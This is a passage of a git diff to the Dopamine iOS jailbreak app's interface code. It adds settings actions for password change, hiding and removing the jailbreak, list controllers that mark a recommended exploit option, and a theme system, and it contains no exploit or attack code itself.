reply:^(BOOL success, NSError * _Nullable error) { + dispatch_async(dispatch_get_main_queue(), ^{ + if (success) { + [self changeMobilePassword]; + } + }); + }]; + } + else { + [self changeMobilePassword]; + } } +- (void)changeMobilePassword +{ + UIAlertController *changeMobilePasswordAlert = [UIAlertController alertControllerWithTitle:DOLocalizedString(@"Button_Change_Mobile_Password") message:DOLocalizedString(@"Alert_Change_Mobile_Password_Body") preferredStyle:UIAlertControllerStyleAlert]; + + [changeMobilePasswordAlert addTextFieldWithConfigurationHandler:^(UITextField * _Nonnull textField) { + textField.placeholder = DOLocalizedString(@"Password_Placeholder"); + textField.secureTextEntry = YES; + }]; + + [changeMobilePasswordAlert addTextFieldWithConfigurationHandler:^(UITextField * _Nonnull textField) { + textField.placeholder = DOLocalizedString(@"Repeat_Password_Placeholder"); + textField.secureTextEntry = YES; + }]; + + UIAlertAction *changeButton = [UIAlertAction actionWithTitle:DOLocalizedString(@"Button_Change") style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action){ + NSString *password = changeMobilePasswordAlert.textFields[0].text; + NSString *repeatPassword = changeMobilePasswordAlert.textFields[1].text; + if (![password isEqualToString:repeatPassword]) { + dispatch_async(dispatch_get_main_queue(), ^{ + [self changeMobilePassword]; + }); + } + else { + [[DOEnvironmentManager sharedManager] changeMobilePassword:password]; + } + }]; + UIAlertAction *cancelAction = [UIAlertAction actionWithTitle:DOLocalizedString(@"Button_Cancel") style:UIAlertActionStyleCancel handler:nil]; + [changeMobilePasswordAlert addAction:changeButton]; + [changeMobilePasswordAlert addAction:cancelAction]; + [self presentViewController:changeMobilePasswordAlert animated:YES completion:nil]; +} + +- (void)hideUnhideJailbreakPressed +{ + DOEnvironmentManager *envManager = [DOEnvironmentManager sharedManager]; + [envManager setJailbreakHidden:!envManager.isJailbreakHidden]; + [self reloadSpecifiers]; +} + +- (void)removeJailbreakPressed +{ + UIAlertController *confirmationAlertController = [UIAlertController alertControllerWithTitle:DOLocalizedString(@"Alert_Remove_Jailbreak_Title") message:DOLocalizedString(@"Alert_Remove_Jailbreak_Pressed_Body") preferredStyle:UIAlertControllerStyleAlert]; + UIAlertAction *uninstallAction = [UIAlertAction actionWithTitle:DOLocalizedString(@"Button_Continue") style:UIAlertActionStyleDestructive handler:^(UIAlertAction * _Nonnull action) { + [[DOEnvironmentManager sharedManager] deleteBootstrap]; + if ([DOEnvironmentManager sharedManager].isJailbroken) { + [[DOEnvironmentManager sharedManager] reboot]; + } + else { + if (gSystemInfo.jailbreakInfo.rootPath) { + free(gSystemInfo.jailbreakInfo.rootPath); + gSystemInfo.jailbreakInfo.rootPath = NULL; + [[DOEnvironmentManager sharedManager] locateJailbreakRoot]; + } + [self reloadSpecifiers]; + } + }]; + UIAlertAction *cancelAction = [UIAlertAction actionWithTitle:DOLocalizedString(@"Button_Cancel") style:UIAlertActionStyleDefault handler:nil]; + [confirmationAlertController addAction:uninstallAction]; + [confirmationAlertController addAction:cancelAction]; + [self presentViewController:confirmationAlertController animated:YES completion:nil]; +} + +- (void)resetSettingsPressed +{ + [[DOUIManager sharedInstance] resetSettings]; + [self.navigationController popToRootViewControllerAnimated:YES]; + [self reloadSpecifiers]; +} + + @end diff --git a/Application/Dopamine/UI/Settings/PSLists/DOPSExploitListItemsController.h b/Application/Dopamine/UI/Settings/PSLists/DOPSExploitListItemsController.h new file mode 100644 index 0000000000..6ae9626b9b --- /dev/null +++ b/Application/Dopamine/UI/Settings/PSLists/DOPSExploitListItemsController.h @@ -0,0 +1,16 @@ +// +// DOPSExploitListItemsControllerViewController.h +// Dopamine +// +// Created by Lars Fröder on 29.04.24. +// + +#import "DOPSListItemsController.h" + +NS_ASSUME_NONNULL_BEGIN + +@interface DOPSExploitListItemsController : DOPSListItemsController + +@end + +NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/UI/Settings/PSLists/DOPSExploitListItemsController.m b/Application/Dopamine/UI/Settings/PSLists/DOPSExploitListItemsController.m new file mode 100644 index 0000000000..7d4498ee21 --- /dev/null +++ b/Application/Dopamine/UI/Settings/PSLists/DOPSExploitListItemsController.m @@ -0,0 +1,31 @@ +// +// DOPSExploitListItemsControllerViewController.m +// Dopamine +// +// Created by Lars Fröder on 29.04.24. +// + +#import "DOPSExploitListItemsController.h" +#import "DOUIManager.h" + +@interface DOPSExploitListItemsController () + +@end + +@implementation DOPSExploitListItemsController + +- (NSArray *)specifiers +{ + if (!_specifiers) { + _specifiers = [super specifiers]; + NSString *recommendedIdentifier = [[self specifier] propertyForKey:@"recommendedExploitIdentifier"]; + for (PSSpecifier *specifier in _specifiers) { + if ([specifier.identifier isEqualToString:recommendedIdentifier]) { + specifier.name = [NSString stringWithFormat:@"%@ (%@)", specifier.name, DOLocalizedString(@"Recommended")]; + } + } + } + return _specifiers; +} + +@end diff --git a/Application/Dopamine/UI/Settings/PSLists/DOPSJetsamListItemsController.h b/Application/Dopamine/UI/Settings/PSLists/DOPSJetsamListItemsController.h new file mode 100644 index 0000000000..e31f031a46 --- /dev/null +++ b/Application/Dopamine/UI/Settings/PSLists/DOPSJetsamListItemsController.h @@ -0,0 +1,16 @@ +// +// DOPSExploitListItemsControllerViewController.h +// Dopamine +// +// Created by Lars Fröder on 29.04.24. +// + +#import "DOPSListItemsController.h" + +NS_ASSUME_NONNULL_BEGIN + +@interface DOPSJetsamListItemsController : DOPSListItemsController + +@end + +NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/UI/Settings/PSLists/DOPSJetsamListItemsController.m b/Application/Dopamine/UI/Settings/PSLists/DOPSJetsamListItemsController.m new file mode 100644 index 0000000000..31863f871a --- /dev/null +++ b/Application/Dopamine/UI/Settings/PSLists/DOPSJetsamListItemsController.m @@ -0,0 +1,28 @@ +// +// DOPSExploitListItemsControllerViewController.m +// Dopamine +// +// Created by Lars Fröder on 29.04.24. +// + +#import "DOPSJetsamListItemsController.h" +#import "DOUIManager.h" + +@interface DOPSJetsamListItemsController () + +@end + +@implementation DOPSJetsamListItemsController + +- (NSArray *)specifiers +{ + if (!_specifiers) { + _specifiers = [super specifiers]; + PSSpecifier *jetsamDescriptionSpecifier = [PSSpecifier emptyGroupSpecifier]; + [jetsamDescriptionSpecifier setProperty:DOLocalizedString(@"Jetsam_Description") forKey:@"footerText"]; + [(NSMutableArray *)_specifiers addObject:jetsamDescriptionSpecifier]; + } + return _specifiers; +} + +@end diff --git a/Application/Dopamine/UI/Settings/DOPSListController.h b/Application/Dopamine/UI/Settings/PSLists/DOPSListController.h similarity index 83% rename from Application/Dopamine/UI/Settings/DOPSListController.h rename to Application/Dopamine/UI/Settings/PSLists/DOPSListController.h index 3e94a3ded2..b53a73e78d 100644 --- a/Application/Dopamine/UI/Settings/DOPSListController.h +++ b/Application/Dopamine/UI/Settings/PSLists/DOPSListController.h @@ -14,6 +14,8 @@ NS_ASSUME_NONNULL_BEGIN @interface DOPSListController : PSListController ++ (void)setupViewControllerStyle:(UIViewController*)vc; + @end NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/UI/Settings/PSLists/DOPSListController.m b/Application/Dopamine/UI/Settings/PSLists/DOPSListController.m new file mode 100644 index 0000000000..33bb676f6e --- /dev/null +++ b/Application/Dopamine/UI/Settings/PSLists/DOPSListController.m @@ -0,0 +1,54 @@ +// +// DOPSListController.m +// Dopamine +// +// Created by tomt000 on 26/01/2024. +// + +#import "DOPSListController.h" +#import "DOThemeManager.h" + +@interface DOPSListController () + +@end + +@implementation DOPSListController + +- (void)viewDidLoad { + [super viewDidLoad]; + + [_table setSeparatorColor:[UIColor clearColor]]; + [_table setBackgroundColor:[UIColor clearColor]]; + [DOPSListController setupViewControllerStyle:self]; +} + ++ (void)setupViewControllerStyle:(UIViewController*)vc +{ + DOTheme *theme = [[DOThemeManager sharedInstance] enabledTheme]; + + vc.overrideUserInterfaceStyle = UIUserInterfaceStyleDark; + vc.view.backgroundColor = theme.windowColor; + vc.view.layer.cornerRadius = 16; + vc.view.layer.masksToBounds = YES; + vc.view.layer.cornerCurve = kCACornerCurveContinuous; + [UISwitch appearanceWhenContainedInInstancesOfClasses:@[[vc class]]].onTintColor = [UIColor colorWithRed: 71.0/255.0 green: 169.0/255.0 blue: 135.0/255.0 alpha: 1.0]; +} + +- (void)tableView:(UITableView *)tableView willDisplayCell:(UITableViewCell *)cell forRowAtIndexPath:(NSIndexPath *)indexPath { + cell.backgroundColor = [UIColor clearColor]; +} + +- (void)viewDidLayoutSubviews { + [super viewDidLayoutSubviews]; + _table.frame = CGRectMake(12, 5, self.view.bounds.size.width - 24, self.view.bounds.size.height - 10); +} + +#pragma mark - Status Bar + +- (UIStatusBarStyle)preferredStatusBarStyle +{ + return UIStatusBarStyleLightContent; +} + + +@end diff --git a/Application/Dopamine/UI/Settings/PSLists/DOPSListItemsController.h b/Application/Dopamine/UI/Settings/PSLists/DOPSListItemsController.h new file mode 100644 index 0000000000..8ae20a43b1 --- /dev/null +++ b/Application/Dopamine/UI/Settings/PSLists/DOPSListItemsController.h @@ -0,0 +1,25 @@ +// +// DOPSListItemsController.h +// Dopamine +// +// Created by tomt000 on 26/01/2024. +// + +#import +#import +#import + + +NS_ASSUME_NONNULL_BEGIN + +@interface PSListItemsController : PSListController +- (id)itemsFromDataSource; +@end + +@interface DOPSListItemsController : PSListItemsController + ++ (UIView *)makeHeader:(NSString *)title withTarget:(id)target; + +@end + +NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/UI/Settings/PSLists/DOPSListItemsController.m b/Application/Dopamine/UI/Settings/PSLists/DOPSListItemsController.m new file mode 100644 index 0000000000..fea2850b83 --- /dev/null +++ b/Application/Dopamine/UI/Settings/PSLists/DOPSListItemsController.m @@ -0,0 +1,96 @@ +// +// DOPSListItemsController.m +// Dopamine +// +// Created by tomt000 on 26/01/2024. +// + +#import "DOPSListItemsController.h" +#import "DOPSListController.h" + +@interface DOPSListItemsController () + +@end + +@implementation DOPSListItemsController + +- (void)viewDidLoad { + [super viewDidLoad]; + + [_table setSeparatorColor:[UIColor clearColor]]; + [_table setBackgroundColor:[UIColor clearColor]]; + [DOPSListController setupViewControllerStyle: self]; + + _table.tableHeaderView = [DOPSListItemsController makeHeader: ((PSSpecifier*)self.specifier).name withTarget:self]; +} + ++ (UIView *)makeHeader:(NSString *)title withTarget:(id)target +{ + UIView *header = [[UIView alloc] initWithFrame:CGRectMake(0, 0, 0, 70)]; + + UILabel *label = [[UILabel alloc] initWithFrame:CGRectMake(0, 0, 0, 60)]; + label.text = title; + label.font = [UIFont systemFontOfSize:17 weight:UIFontWeightMedium]; + label.textColor = [UIColor whiteColor]; + label.textAlignment = NSTextAlignmentCenter; + label.translatesAutoresizingMaskIntoConstraints = NO; + [header addSubview:label]; + + UIView *border = [[UIView alloc] init]; + border.translatesAutoresizingMaskIntoConstraints = NO; + border.backgroundColor = [UIColor colorWithWhite:1.0 alpha:0.1]; + [header addSubview:border]; + + UIImage *backImage = [UIImage systemImageNamed:@"chevron.left" withConfiguration:[UIImageSymbolConfiguration configurationWithPointSize:20 weight:UIImageSymbolWeightMedium]]; + backImage = [backImage imageWithRenderingMode:UIImageRenderingModeAlwaysTemplate]; + UIButton *backButton = [UIButton buttonWithType:UIButtonTypeCustom]; + [backButton setImage:backImage forState:UIControlStateNormal]; + [backButton setTintColor:[UIColor colorWithWhite:1.0 alpha:0.6]]; + [backButton addTarget:target action:@selector(dismiss) forControlEvents:UIControlEventTouchUpInside]; + backButton.translatesAutoresizingMaskIntoConstraints = NO; + [header addSubview:backButton]; + + [NSLayoutConstraint activateConstraints:@[ + [label.centerYAnchor constraintEqualToAnchor:header.centerYAnchor constant:-8], + [label.centerXAnchor constraintEqualToAnchor:header.centerXAnchor] + ]]; + + [NSLayoutConstraint activateConstraints:@[ + [border.leadingAnchor constraintEqualToAnchor:header.leadingAnchor constant:20], + [border.trailingAnchor constraintEqualToAnchor:header.trailingAnchor constant:-20], + [border.bottomAnchor constraintEqualToAnchor:header.bottomAnchor constant:-12], + [border.heightAnchor constraintEqualToConstant:1] + ]]; + + [NSLayoutConstraint activateConstraints:@[ + [backButton.leadingAnchor constraintEqualToAnchor:header.leadingAnchor constant:10], + [backButton.centerYAnchor constraintEqualToAnchor:header.centerYAnchor constant:-7], + [backButton.widthAnchor constraintEqualToConstant:30], + [backButton.heightAnchor constraintEqualToConstant:30] + ]]; + + return header; +} + +- (void)dismiss { + [self.navigationController popViewControllerAnimated:YES]; +} + +- (void)tableView:(UITableView *)tableView willDisplayCell:(UITableViewCell *)cell forRowAtIndexPath:(NSIndexPath *)indexPath { + cell.backgroundColor = [UIColor clearColor]; +} + +- (void)viewDidLayoutSubviews { + [super viewDidLayoutSubviews]; + _table.frame = CGRectMake(12, 5, self.view.bounds.size.width - 24, self.view.bounds.size.height - 10); +} + +#pragma mark - Status Bar + +- (UIStatusBarStyle)preferredStatusBarStyle +{ + return UIStatusBarStyleLightContent; +} + + +@end diff --git a/Application/Dopamine/UI/Settings/Settings.plist b/Application/Dopamine/UI/Settings/Settings.plist deleted file mode 100644 index 309a4b2f39..0000000000 --- a/Application/Dopamine/UI/Settings/Settings.plist +++ /dev/null @@ -1,73 +0,0 @@ - - - - - items - - - cell - PSGroupCell - headerCellClass - DOHeaderCell - title - Settings - - - cell - PSSwitchCell - default - - defaults - com.opa334.Dopamine - key - tweaks - label - Enable Tweaks - - - cell - PSSwitchCell - default - - defaults - com.opa334.Dopamine - key - debug - label - Verbose Log - - - cell - PSGroupCell - headerCellClass - DOButtonCell - title - Hide Jailbreak - key - hidejb - image - eye.slash - action - hideJailbreak - - - cell - PSGroupCell - headerCellClass - DOButtonCell - title - Remove Jailbreak - key - removejb - image - trash - action - removeJailbreak - footerText - "Hide jailbreak" temporarily removes jailbreak-related files until next jailbreak - - - title - Dopamine Settings - - diff --git a/Application/Dopamine/UI/Settings/Specifiers/DOButtonCell.h b/Application/Dopamine/UI/Settings/Specifiers/DOButtonCell.h index cf39a612c7..3c1fee6a88 100644 --- a/Application/Dopamine/UI/Settings/Specifiers/DOButtonCell.h +++ b/Application/Dopamine/UI/Settings/Specifiers/DOButtonCell.h @@ -11,7 +11,7 @@ NS_ASSUME_NONNULL_BEGIN -@interface DOButtonCell : UITableViewCell +@interface DOButtonCell : PSTableCell @end diff --git a/Application/Dopamine/UI/Settings/Specifiers/DOButtonCell.m b/Application/Dopamine/UI/Settings/Specifiers/DOButtonCell.m index 975e685a1d..2264c6abe9 100644 --- a/Application/Dopamine/UI/Settings/Specifiers/DOButtonCell.m +++ b/Application/Dopamine/UI/Settings/Specifiers/DOButtonCell.m @@ -7,21 +7,17 @@ #import "DOButtonCell.h" #import "DOActionMenuButton.h" -#import "GlobalAppearance.h" - -@interface DOButtonCell () { - BOOL _hasFooter; -} -@end +#import "DOGlobalAppearance.h" +#import "DOUIManager.h" @implementation DOButtonCell -- (id)initWithSpecifier:(PSSpecifier*)specifier +- (id)initWithStyle:(long long)arg1 reuseIdentifier:(id)arg2 specifier:(PSSpecifier *)specifier { self = [super init]; if (self) { - UIAction *action = [UIAction actionWithTitle:[specifier propertyForKey:@"title"] image:[UIImage systemImageNamed:[specifier propertyForKey:@"image"] withConfiguration:[GlobalAppearance smallIconImageConfiguration]] identifier:[specifier propertyForKey:@"key"] handler:^(__kindof UIAction * _Nonnull action) { + UIAction *action = [UIAction actionWithTitle:DOLocalizedString([specifier propertyForKey:@"title"]) image:[UIImage systemImageNamed:[specifier propertyForKey:@"image"] withConfiguration:[DOGlobalAppearance smallIconImageConfiguration]] identifier:[specifier propertyForKey:@"key"] handler:^(__kindof UIAction * _Nonnull action) { SEL selector = NSSelectorFromString([specifier propertyForKey:@"action"]); if ([[specifier target] respondsToSelector:selector]) { [[specifier target] performSelector:selector withObject:specifier]; @@ -43,19 +39,11 @@ - (id)initWithSpecifier:(PSSpecifier*)specifier [NSLayoutConstraint activateConstraints:@[ [button.leadingAnchor constraintEqualToAnchor:self.leadingAnchor constant:20], [button.trailingAnchor constraintEqualToAnchor:self.trailingAnchor constant:-20], - [button.topAnchor constraintEqualToAnchor:self.topAnchor constant:0], - [button.heightAnchor constraintEqualToConstant:38] + [button.topAnchor constraintEqualToAnchor:self.topAnchor constant:4], + [button.bottomAnchor constraintEqualToAnchor:self.bottomAnchor constant:-4], ]]; - - _hasFooter = [specifier propertyForKey:@"footerText"] != nil; - } return self; } -- (CGFloat)preferredHeightForWidth:(CGFloat)width -{ - return 30 + (_hasFooter ? 9 : 0); -} - @end diff --git a/Application/Dopamine/UI/Settings/Specifiers/DOCreditsCell.m b/Application/Dopamine/UI/Settings/Specifiers/DOCreditsCell.m index b94a074a66..d9ef736076 100644 --- a/Application/Dopamine/UI/Settings/Specifiers/DOCreditsCell.m +++ b/Application/Dopamine/UI/Settings/Specifiers/DOCreditsCell.m @@ -6,6 +6,7 @@ // #import "DOCreditsCell.h" +#import "DOGlobalAppearance.h" #define CREDITS_CELL_HEIGHT 35 @@ -25,9 +26,11 @@ - (id)initWithFrame:(CGRect)frame self.label.font = [UIFont systemFontOfSize:14 weight:UIFontWeightRegular]; self.label.textColor = [UIColor whiteColor]; self.label.alpha = 0.65; + self.label.textAlignment = NSTextAlignmentLeft; + [self.contentView addSubview:self.label]; [NSLayoutConstraint activateConstraints:@[ - [self.label.centerXAnchor constraintEqualToAnchor:self.contentView.centerXAnchor constant:-17], + [self.label.centerXAnchor constraintEqualToAnchor:self.contentView.centerXAnchor constant:-17 * ([DOGlobalAppearance isRTL] ? -1 : 1)], [self.label.centerYAnchor constraintEqualToAnchor:self.contentView.centerYAnchor], ]]; @@ -46,12 +49,12 @@ - (id)initWithFrame:(CGRect)frame return self; } --(void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event +- (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event { self.alpha = 0.5; } --(void)touchesEnded:(NSSet *)touches withEvent:(UIEvent *)event +- (void)touchesEnded:(NSSet *)touches withEvent:(UIEvent *)event { [UIView animateWithDuration:0.1 animations:^{ self.alpha = 1.0; @@ -60,14 +63,14 @@ -(void)touchesEnded:(NSSet *)touches withEvent:(UIEvent *)event [[UIApplication sharedApplication] openURL:self.url options:@{} completionHandler:nil]; } --(void)touchesCancelled:(NSSet *)touches withEvent:(UIEvent *)event +- (void)touchesCancelled:(NSSet *)touches withEvent:(UIEvent *)event { [UIView animateWithDuration:0.1 animations:^{ self.alpha = 1.0; }]; } --(void)setName:(NSString*)name url:(NSURL*)url +- (void)setName:(NSString*)name url:(NSURL*)url { self.label.text = name; self.url = url; @@ -110,8 +113,8 @@ - (id)initWithSpecifier:(PSSpecifier*)specifier [NSLayoutConstraint activateConstraints:@[ [self.collectionView.leadingAnchor constraintEqualToAnchor:self.leadingAnchor constant:20], [self.collectionView.trailingAnchor constraintEqualToAnchor:self.trailingAnchor constant:-20], - [self.collectionView.topAnchor constraintEqualToAnchor:self.topAnchor constant:15], - [self.collectionView.bottomAnchor constraintEqualToAnchor:self.bottomAnchor constant:-15], + [self.collectionView.topAnchor constraintEqualToAnchor:self.topAnchor constant:0], + [self.collectionView.bottomAnchor constraintEqualToAnchor:self.bottomAnchor constant:-0], ]]; } @@ -139,7 +142,7 @@ - (CGSize)collectionView:(UICollectionView *)collectionView layout:(UICollection - (CGFloat)preferredHeightForWidth:(CGFloat)width { - return CREDITS_CELL_HEIGHT * ceil(self.names.count/2.0) + 30; + return CREDITS_CELL_HEIGHT * ceil(self.names.count/2.0); } diff --git a/Application/Dopamine/UI/Settings/Specifiers/DOHeaderCell.m b/Application/Dopamine/UI/Settings/Specifiers/DOHeaderCell.m index b5efea9198..140242a26e 100644 --- a/Application/Dopamine/UI/Settings/Specifiers/DOHeaderCell.m +++ b/Application/Dopamine/UI/Settings/Specifiers/DOHeaderCell.m @@ -22,7 +22,7 @@ - (id)initWithSpecifier:(PSSpecifier*)specifier [self.contentView addSubview:titleLabel]; [NSLayoutConstraint activateConstraints:@[ - [titleLabel.centerYAnchor constraintEqualToAnchor:self.centerYAnchor constant:-6], + [titleLabel.centerYAnchor constraintEqualToAnchor:self.centerYAnchor constant:-3], [titleLabel.centerXAnchor constraintEqualToAnchor:self.centerXAnchor] ]]; @@ -34,7 +34,7 @@ - (id)initWithSpecifier:(PSSpecifier*)specifier [NSLayoutConstraint activateConstraints:@[ [border.leadingAnchor constraintEqualToAnchor:self.leadingAnchor constant:20], [border.trailingAnchor constraintEqualToAnchor:self.trailingAnchor constant:-20], - [border.bottomAnchor constraintEqualToAnchor:self.bottomAnchor constant:-10], + [border.bottomAnchor constraintEqualToAnchor:self.bottomAnchor constant:-2], [border.heightAnchor constraintEqualToConstant:1] ]]; } @@ -43,7 +43,7 @@ - (id)initWithSpecifier:(PSSpecifier*)specifier - (CGFloat)preferredHeightForWidth:(CGFloat)width { - return 72; + return 60; } @end diff --git a/Application/Dopamine/UI/Themes/DOTheme.h b/Application/Dopamine/UI/Themes/DOTheme.h new file mode 100644 index 0000000000..f62eb1b3ab --- /dev/null +++ b/Application/Dopamine/UI/Themes/DOTheme.h @@ -0,0 +1,31 @@ +// +// DOTheme.h +// Dopamine +// +// Created by tomt000 on 14/02/2024. +// + +#import +#import + +NS_ASSUME_NONNULL_BEGIN + +@interface DOTheme : NSObject + +@property (nonatomic, retain) NSString *name; +@property (nonatomic, retain) NSString *icon; +@property (nonatomic, retain) NSString *key; +@property (nonatomic, retain) UIColor *actionMenuColor; +@property (nonatomic, retain) UIColor *windowColor; +@property (nonatomic, retain) UIImage *image; +@property (nonatomic, assign) float blur; +@property (nonatomic, assign) BOOL titleShadow; + +- (id)initWithDictionary: (NSDictionary *)dictionary; + +- (UIImage *)generateBootLogo; + +@end + + +NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/UI/Themes/DOTheme.m b/Application/Dopamine/UI/Themes/DOTheme.m new file mode 100644 index 0000000000..4fd9774741 --- /dev/null +++ b/Application/Dopamine/UI/Themes/DOTheme.m @@ -0,0 +1,72 @@ +// +// DOTheme.m +// Dopamine +// +// Created by tomt000 on 14/02/2024. +// + +#import "DOTheme.h" +#import "UIImage+Blur.h" + +@interface DOTheme () +@property (nonatomic, retain) NSString *imageName; +@end + +@implementation DOTheme + +- (id)initWithDictionary: (NSDictionary *)dictionary +{ + self = [super init]; + if (self) { + self.name = [dictionary objectForKey:@"name"]; + self.icon = [dictionary objectForKey:@"icon"]; + self.key = [dictionary objectForKey:@"key"]; + self.imageName = [dictionary objectForKey:@"image"]; + self.windowColor = [self colorFromHexString:[dictionary objectForKey:@"windowColor"]]; + self.actionMenuColor = [self colorFromHexString:[dictionary objectForKey:@"actionMenuColor"]]; + self.blur = [[dictionary objectForKey:@"blur"] floatValue]; + self.titleShadow = [[dictionary objectForKey:@"titleShadow"] boolValue]; + } + return self; +} + +- (UIColor*)colorFromHexString:(NSString*)hexString +{ + unsigned int hexInt = 0; + NSScanner *scanner = [NSScanner scannerWithString:hexString]; + [scanner scanHexInt:&hexInt]; + return [UIColor colorWithRed:((CGFloat)((hexInt & 0xFF0000) >> 16))/255.0 green:((CGFloat)((hexInt & 0xFF00) >> 8))/255.0 blue:((CGFloat)(hexInt & 0xFF))/255.0 alpha:((CGFloat)((hexInt & 0xFF000000) >> 24))/255.0]; +} + +- (UIImage *)image +{ + if (_image == nil) + _image = [[UIImage imageNamed:self.imageName] imageWithBlur:self.blur]; + return _image; +} + +- (UIImage *)generateBootLogo +{ + UIImage *backgroundImage = [self image]; + CGSize canvasSize = backgroundImage.size; + + UIImage *overlayImage = [UIImage imageNamed:@"DopamineLogo"]; + + CGSize overlaySize = CGSizeMake(350, 350); + CGPoint overlayOrigin = CGPointMake((canvasSize.width - overlaySize.width) / 2.0, + (canvasSize.height - overlaySize.height) / 2.0); + + UIGraphicsBeginImageContextWithOptions(canvasSize, NO, backgroundImage.scale); + + [backgroundImage drawInRect:CGRectMake(0, 0, canvasSize.width, canvasSize.height)]; + + // Render overlay (Dopamine Logo) in center of background for boot logo + [overlayImage drawInRect:CGRectMake(overlayOrigin.x, overlayOrigin.y, overlaySize.width, overlaySize.height)]; + + UIImage *finalImage = UIGraphicsGetImageFromCurrentImageContext(); + UIGraphicsEndImageContext(); + + return finalImage; +} + +@end diff --git a/Application/Dopamine/UI/Themes/DOThemeManager.h b/Application/Dopamine/UI/Themes/DOThemeManager.h new file mode 100644 index 0000000000..426c8a728e --- /dev/null +++ b/Application/Dopamine/UI/Themes/DOThemeManager.h @@ -0,0 +1,27 @@ +// +// DOThemeManager.h +// Dopamine +// +// Created by tomt000 on 14/02/2024. +// + +#import +#import "DOTheme.h" + +NS_ASSUME_NONNULL_BEGIN + +@interface DOThemeManager : NSObject + +@property (nonatomic, retain) NSArray *themes; + ++ (instancetype)sharedInstance; + ++ (UIColor*)menuColorWithAlpha:(float)alpha; +- (NSArray*)getAvailableThemeKeys; +- (NSArray*)getAvailableThemeNames; +- (DOTheme*)getThemeForKey:(NSString*)key; +- (DOTheme*)enabledTheme; + +@end + +NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/UI/Themes/DOThemeManager.m b/Application/Dopamine/UI/Themes/DOThemeManager.m new file mode 100644 index 0000000000..1b38976c53 --- /dev/null +++ b/Application/Dopamine/UI/Themes/DOThemeManager.m @@ -0,0 +1,89 @@ +// +// DOThemeManager.m +// Dopamine +// +// Created by tomt000 on 14/02/2024. +// + +#import "DOThemeManager.h" +#import "DOPreferenceManager.h" + +@implementation DOThemeManager + ++ (instancetype)sharedInstance +{ + static DOThemeManager *sharedManager = nil; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + sharedManager = [[DOThemeManager alloc] init]; + }); + return sharedManager; +} + +- (id)init +{ + self = [super init]; + if (self) { + self.themes = [[NSMutableArray alloc] init]; + + NSString *path = [[NSBundle mainBundle] pathForResource:@"Themes" ofType:@"plist"]; + NSArray *themes = [NSArray arrayWithContentsOfFile:path]; + + for (NSDictionary *theme in themes) { + DOTheme *newTheme = [[DOTheme alloc] initWithDictionary:theme]; + [((NSMutableArray *)self.themes) addObject:newTheme]; + } + + } + return self; +} + +- (NSArray*)getAvailableThemeKeys +{ + NSMutableArray *keys = [[NSMutableArray alloc] init]; + for (DOTheme *theme in _themes) { + [keys addObject:theme.key]; + } + return keys; +} + +- (NSArray*)getAvailableThemeNames +{ + NSMutableArray *names = [[NSMutableArray alloc] init]; + for (DOTheme *theme in _themes) { + [names addObject:theme.name]; + } + return names; +} + +- (DOTheme*)getThemeForKey:(NSString*)key +{ + for (DOTheme *theme in _themes) { + if ([theme.key isEqualToString:key]) { + return theme; + } + } + return nil; +} + +- (DOTheme*)enabledTheme +{ + id value = [[DOPreferenceManager sharedManager] preferenceValueForKey:@"theme"]; + if (!value) + return self.themes.firstObject; + return [self getThemeForKey:value] ?: self.themes.firstObject; +} + + ++ (UIColor*)menuColorWithAlpha:(float)alpha +{ + DOTheme *theme = [[DOThemeManager sharedInstance] enabledTheme]; + + UIColor *color = theme.actionMenuColor; + CGFloat red, green, blue, currentAlpha; + [color getRed:&red green:&green blue:&blue alpha:¤tAlpha]; + return [UIColor colorWithRed:red green:green blue:blue alpha:currentAlpha * alpha]; +} + + +@end diff --git a/Application/Dopamine/UI/Themes/Themes.plist b/Application/Dopamine/UI/Themes/Themes.plist new file mode 100644 index 0000000000..2e1fc31d1d --- /dev/null +++ b/Application/Dopamine/UI/Themes/Themes.plist @@ -0,0 +1,94 @@ + + + + + + key + default + name + Dopamine + image + Background_Green.jpg + actionMenuColor + 723f3f3f + windowColor + 994c4c4c + blur + 18 + titleShadow + + + + key + ellekit + icon + AppIcon_ElleKit + name + ElleKit + image + Background_ElleKit.jpg + actionMenuColor + 3F610C71 + windowColor + 6009040A + blur + 18 + titleShadow + + + + key + blue + icon + AppIcon_Blue + name + Deep Blue Sky + image + Background_Blue.jpg + actionMenuColor + 3F0C2571 + windowColor + 6004050A + blur + 40 + titleShadow + + + + key + red + icon + AppIcon_Red + name + Blood Sky + image + Background_Red.jpg + actionMenuColor + 5F560808 + windowColor + 600A0404 + blur + 25 + titleShadow + + + + key + purple + icon + AppIcon_Purple + name + Desert Dusk + image + Background_Purple.jpg + actionMenuColor + 4F150C71 + windowColor + 6008040A + blur + 35 + titleShadow + + + + diff --git a/Application/Dopamine/UI/Transition/DOModalTransitionPush.h b/Application/Dopamine/UI/Transition/DOModalTransitionPush.h index 075c47f520..38d36d6c79 100644 --- a/Application/Dopamine/UI/Transition/DOModalTransitionPush.h +++ b/Application/Dopamine/UI/Transition/DOModalTransitionPush.h @@ -1,5 +1,5 @@ // -// DOModalTransition.h +// DOModalTransitionPush.h // Dopamine // // Created by tomt000 on 08/01/2024. @@ -12,6 +12,8 @@ NS_ASSUME_NONNULL_BEGIN @interface DOModalTransitionPush : NSObject +- (id)initForwards:(BOOL)forwards; + @end NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/UI/Transition/DOModalTransitionPush.m b/Application/Dopamine/UI/Transition/DOModalTransitionPush.m index 9669dbf3a3..dc0fcb40b0 100644 --- a/Application/Dopamine/UI/Transition/DOModalTransitionPush.m +++ b/Application/Dopamine/UI/Transition/DOModalTransitionPush.m @@ -1,5 +1,5 @@ // -// DOModalTransition.m +// DOModalTransitionPush.m // Dopamine // // Created by tomt000 on 08/01/2024. @@ -7,8 +7,23 @@ #import "DOModalTransitionPush.h" +@interface DOModalTransitionPush () + +@property (nonatomic, assign) BOOL forwards; + +@end + @implementation DOModalTransitionPush +- (id)initForwards:(BOOL)forwards { + self = [super init]; + if (self) { + _forwards = forwards; + } + return self; +} + + - (NSTimeInterval)transitionDuration:(nullable id)transitionContext { return 0.5; } @@ -16,27 +31,24 @@ - 